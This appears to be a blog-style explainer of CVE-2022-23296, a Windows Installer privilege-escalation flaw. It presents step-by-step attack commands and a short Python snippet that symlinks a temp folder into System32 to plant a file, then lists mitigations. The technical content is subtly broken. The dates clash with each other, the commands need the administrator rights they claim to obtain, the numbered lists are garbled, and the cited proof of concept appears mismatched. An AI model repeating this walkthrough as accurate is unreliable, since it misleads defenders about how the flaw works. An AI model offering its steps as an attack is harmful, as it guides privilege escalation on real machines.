Microsoft Windows Installer is a core utility in Windows operating systems that manages the installation, maintenance, and removal of software. In February 2022, Microsoft patched a critical flaw in Windows Installer tracked as CVE-2022-23296—an Elevation of Privilege (EoP) vulnerability. This vulnerability, if exploited, can help hackers gain administrator rights on a Windows machine, giving them much more power than a normal user.

In this deep-dive, we'll break down the vulnerability, including how it works, how attackers can exploit it, show you sample codes, and give you all the references to investigate further.

What is CVE-2022-23296?

CVE-2022-23296 is an Elevation of Privilege vulnerability in Windows Installer. Microsoft summarizes it as:

> "An elevation of privilege vulnerability exists when Windows Installer fails to properly sanitize input. An attacker who successfully exploited this vulnerability could gain elevated privileges on affected systems."  
> — _Microsoft Security Guidance_

Severity: _Important_  
CVSS Score: 7.8 (High)  
Affected Systems: Windows 7 SP1, Windows 8.1, Windows 10, Windows 11, Windows Server, etc.

How Does the Vulnerability Work?

The vulnerability happens because Windows Installer doesn’t properly handle symbolic links (symlinks) that can be created by low-privileged users. By tricking Windows Installer into writing files or setting permissions in sensitive locations, an attacker can escalate their privileges—sometimes all the way to SYSTEM.

In simple terms:  
If a regular user can trick Windows Installer into overwriting or modifying files that are usually protected, they can end up running code as an administrator, or even SYSTEM.

Here’s how this attack unfolds, step by step

1. Attacker finds a vulnerable MSI (installer package) that can be used to trigger privileged file operations.
2. Attacker creates a symbolic link from a user-writable directory to a sensitive location (for example, C:\Windows\System32).
3. Installer runs and follows the symlink, ending up modifying or placing a file in a location with higher privileges than intended.

As a result, attacker gets code execution as SYSTEM or another privileged user.

This kind of vulnerability has been seen before with Windows Installer. There are public exploits demonstrating similar EoP issues by using symlinks and abusing the repair or rollback features of MSI installers.

Example Exploit Scenario

Below is a simplified real-world approach, inspired by public research (see this Github PoC reference), that uses Windows Installer to take over a privileged file. Never run untrusted code on your machine!

Create directories and a fake MSI:

:: Create temp directories
mkdir C:\temp\hackme
cd C:\temp\hackme

:: Create an empty file to represent a privileged file we want to "take over"
echo Not Admin > adminfile.txt
icacls adminfile.txt /setowner "SYSTEM"

2. Create a symlink using mklink (requires admin for directory symlinks, so typically attackers try alternative tricks with junctions or using situations where the MSI service runs as SYSTEM):

:: Suppose the installer writes logs to C:\temp\hackme\logs\
mklink /D C:\temp\hackme\logs C:\Windows\System32\

Run the vulnerable MSI:

When the MSI installer is run and writes its log to C:\temp\hackme\logs\install.log, due to the symlink, it's actually writing to C:\Windows\System32\install.log—a protected location.

Escalating Privileges:

If the attacker can then replace or modify a startup script or executable in SYSTEM32, they could run arbitrary code as SYSTEM on reboot or service start.

Simple Python Exploit Example

This snippet shows how an attacker could automate part of the attack using Python (using os and subprocess). This is not a full exploit, but gives you the idea:

import os
import subprocess

# 1. Set up directories
os.makedirs("C:\\temp\\test\\logdir", exist_ok=True)

# 2. Create a symlink (directory link) to a system folder
subprocess.call('mklink /D "C:\\temp\\test\\logdir" "C:\\Windows\\System32"', shell=True)

# 3. Simulate running a vulnerable installer that writes logs to logdir
with open("C:\\temp\\test\\logdir\\exploit.log", "w") as f:
    f.write("Malicious content goes here!")  # Actually writing in C:\Windows\System32

print("Done!")

How Was It Fixed?

Microsoft fixed the flaw by better sanitizing paths and file operations in Windows Installer, preventing symlinks and other attacks from redirecting privileged actions.

It’s important to note that there have been several similar vulnerabilities in recent years. Attackers are always looking for new ways to trick system tools into giving them more permissions than they deserve.

Audit installer packages and restrict who can run installers on important systems.

3. Use standard user accounts for daily operations. Only use administrator privileges when absolutely needed.
4. Monitor logs for unexpected changes in system folders or the appearance of unusual MSI-based installations.

Microsoft Security Guidance:

CVE-2022-23296 Official Page
- PoC/Research:  
 InstallerFileTakeOver by klinix5 (GitHub)

Technical writeup:

Windows Installer Elevation of Privilege Vulnerabilities Overview

Conclusion

CVE-2022-23296 is a direct reminder that built-in system utilities like Windows Installer can be a double-edged sword. Simple symlink tricks, when combined with logic errors in privilege handling, have serious consequences. Always patch and never underestimate these “boring” privilege escalation bugs—attackers love and rely on them!

Timeline

Published on: 03/09/2022 17:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC